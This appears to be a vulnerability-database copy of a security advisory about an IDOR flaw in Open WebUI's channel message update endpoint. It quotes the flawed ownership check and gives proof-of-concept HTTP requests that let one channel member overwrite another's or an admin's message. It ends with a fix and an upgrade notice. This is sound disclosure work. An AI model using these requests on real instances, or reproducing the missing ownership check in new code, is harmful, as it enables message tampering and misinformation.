VDB
KO
MEDIUM 4.3

GHSA-wwhq-cx22-f7vv

Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint

Details

### Summary An IDOR vulnerability exists in the Channels feature of `Open WebUI`, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (`v0.8.12`) of `Open WebUI`.

### Details In the `update_message_by_id` function, for `group` or `dm` type channels, only the caller's membership in the channel is checked via the `is_user_channel_member` function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :

```python if channel.type in ['group', 'dm']: if not Channels.is_user_channel_member(channel.id, user.id, db=db): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT()) else: if ( user.role != 'admin' and message.user_id != user.id and not channel_has_access(user.id, channel, permission='write', strict=False, db=db) ): raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

try: message = Messages.update_message_by_id(message_id, form_data, db=db) ```

Non-group/dm types include a check for the user ID, while the `group/dm` type clearly lacks this verification.

### PoC The `Channels` feature is disabled by default and can be enabled first through the `admin` interface. <img width="1024" height="618" alt="image" src="https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f" />

Create a `group` type channel with members including users `test1` and `test2`.

``` POST /api/v1/channels/create HTTP/1.1 Content-Type: application/json

{ "name": "idor-test-group", "type": "group", "user_ids": [ "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c", "b9997496-ff80-4c30-a366-95474f85e62b" ] } ```

User `test2` sends a message in the channel.

``` POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1 Content-Type: application/json Authorization: Bearer <test2_token>

{"content":"This is test2 secret message"} ```

User `test1` can directly modify the message that `test2` just sent.

``` POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1 Content-Type: application/json Authorization: Bearer <test1_token>

{"content":"HACKED BY TEST1 - message tampered!"} ``` <img width="1024" height="216" alt="image" src="https://github.com/user-attachments/assets/77646d01-d501-4732-ac37-3ffb69f9f01f" />

Messages sent by administrators can also be modified.

<img width="1024" height="419" alt="image" src="https://github.com/user-attachments/assets/b32dc5eb-f810-41d3-b358-f000d8331761" />

### Impact Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.

### Suggested Fix Add a message ownership check in the `group/dm` branch of `channels.py`.

Are you affected?

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Affected packages

PyPI / open-webui
Introduced in: 0 Fixed in: 0.9.5
Fix pip install --upgrade 'open-webui>=0.9.5'

References